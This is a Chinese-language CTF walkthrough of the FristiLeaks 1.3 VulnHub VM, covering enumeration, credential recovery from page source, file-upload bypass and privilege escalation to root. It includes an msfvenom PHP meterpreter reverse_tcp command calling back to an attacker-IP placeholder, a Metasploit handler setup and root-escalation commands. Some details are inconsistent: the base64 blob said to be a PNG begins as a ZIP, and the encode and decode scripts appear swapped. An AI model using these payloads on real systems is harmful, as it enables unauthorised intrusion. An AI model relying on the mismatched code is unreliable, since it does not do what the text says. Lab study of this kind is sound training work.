VulnHub-FristiLeaks: 1.3-靶机渗透学习
字数 1346 2025-08-15 21:33:00
FristiLeaks: 1.3 靶机渗透教学文档
靶机概述
- 名称:FristiLeaks 1.3
- 难度:中级(CTF)
- 发布日期:2015年12月14日
- 目标:获取root权限
- 描述:用于荷兰非正式黑客聚会的小型VM,设计为在几小时内攻破,无需调试器或逆向工程
环境准备
- 靶机MAC地址设置为:08:00:27:A5:A6:76
- 启动靶机后记录显示的IP地址
信息收集阶段
1. Nmap扫描
nmap -sV -p- <靶机IP>
发现开放端口:
- 80/tcp http
2. Web目录扫描
使用dirb扫描web目录:
dirb http://<靶机IP>
在robots.txt中发现几个目录,但无直接有用信息
3. 关键发现
访问/fristi目录发现管理员登录页面
Web应用渗透
1. 源代码分析
查看登录页面源代码,发现一段base64编码:
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5Q5owBTWmiNdt7OefMkfbfe8Ks4X4FFSZH5UQ2EOsJjaW8b1/1S5qsjhYRCALB
bg11Ai2kP755E5dP0SlTZ8Z0Q5nkhQ+9t+QqQE4BBgABBAoAAQAJAAAAAAA=
2. 解码分析
- 解码后发现乱码,但提示PNG格式
- 将输出保存为test.png:
echo "base64编码内容" | base64 -d > test.png
- 使用ImageMagick查看:
apt-get install imagemagick
display test.png
- 图片中显示用户名和密码:
- 用户名:eezeepz
- 密码:kekkekkekkekkEkkEk
3. 登录系统
使用获得的凭据登录/fristi后台
获取初始访问权限
1. 文件上传绕过
- 发现文件上传功能,但限制为png/jpg/gif格式
- 使用msfvenom生成PHP反弹shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=443 -f raw > shell.php
- 将shell.php重命名为shell.png上传
2. 设置监听
配置Metasploit监听:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set LPORT 443
exploit
3. 触发shell
访问上传的文件路径获取meterpreter会话
权限提升阶段
1. 初始枚举
- 当前用户为apache
- 检查/home目录发现eezeepz用户
- 查看/home/eezeepz/notes.txt内容:
Hi eezeepz,
I have made this simple notes editor for you. I know you love to write notes.
But I have some bad news. The new version has a bug which makes your notes
only readable by the admin user. I will fix this as soon as possible.
For now you can use this temporary solution to execute commands:
Make a file in /tmp/runthis and put in the command you want to execute as admin.
For example to execute /home/admin/chmod 777 /home/admin you put in the file:
/home/admin/chmod 777 /home/admin
or
/usr/bin/chmod 777 /home/admin
The output will be in /tmp/cronresult.
Sorry for the inconvenience.
PS. I have given you a nice util to make base64 life easier.
2. 利用临时解决方案
- 创建/tmp/runthis文件:
echo '/home/admin/chmod 777 /home/admin' > /tmp/runthis
- 等待命令执行后,检查/tmp/cronresult
- 现在可以访问/home/admin目录
3. 解密关键文件
在/home/admin目录下发现:
- cryptedpass.txt
- cryptedpass.txt.bak
- crypt.py
解密脚本内容:
import base64,codecs,sys
def encodeString(str):
destring = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(destring)
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
编写解密脚本:
import base64,codecs,sys
def decodeString(str):
base64_decoded = base64.b64encode(str)
rot13_encoded = codecs.encode(base64_decoded[::-1], 'rot13')
return rot13_encoded
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Usage: python decrypt.py <string_to_decode>"
sys.exit(1)
input_string = sys.argv[1]
print decodeString(input_string)
解密文件内容:
- 解密mVGZ3O3omkJLmy2pcuTq得到:thisisalsopw123
- 解密=RFn0AKnlMHMPIzpyuTI0ITG得到:LetThereBeFristi!
4. 提升至fristigod用户
尝试使用解密获得的密码:
su fristigod
密码:LetThereBeFristi!
5. 最终提权
- 检查sudo权限:
sudo -l
发现可以在/var/fristigod/.secret_admin_stuff/doCom下执行任何root权限命令
- 检查.bash_history发现历史命令:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
- 执行提权:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
现在获得root权限
总结与学习要点
- 信息收集:全面的端口扫描和目录爆破是基础
- 源代码审查:不要忽视页面源代码中隐藏的线索
- 文件上传绕过:通过修改文件扩展名绕过限制
- 权限提升技巧:
- 利用不安全的临时文件执行机制
- 分析自定义加密算法进行解密
- 检查sudo权限和.bash_history寻找提权路径
- 自定义脚本分析:遇到加密内容时,理解并逆向加密算法是关键
通过这个靶机,我们学习了一个完整的渗透测试流程,从信息收集到最终提权,每个环节都提供了有价值的学习点。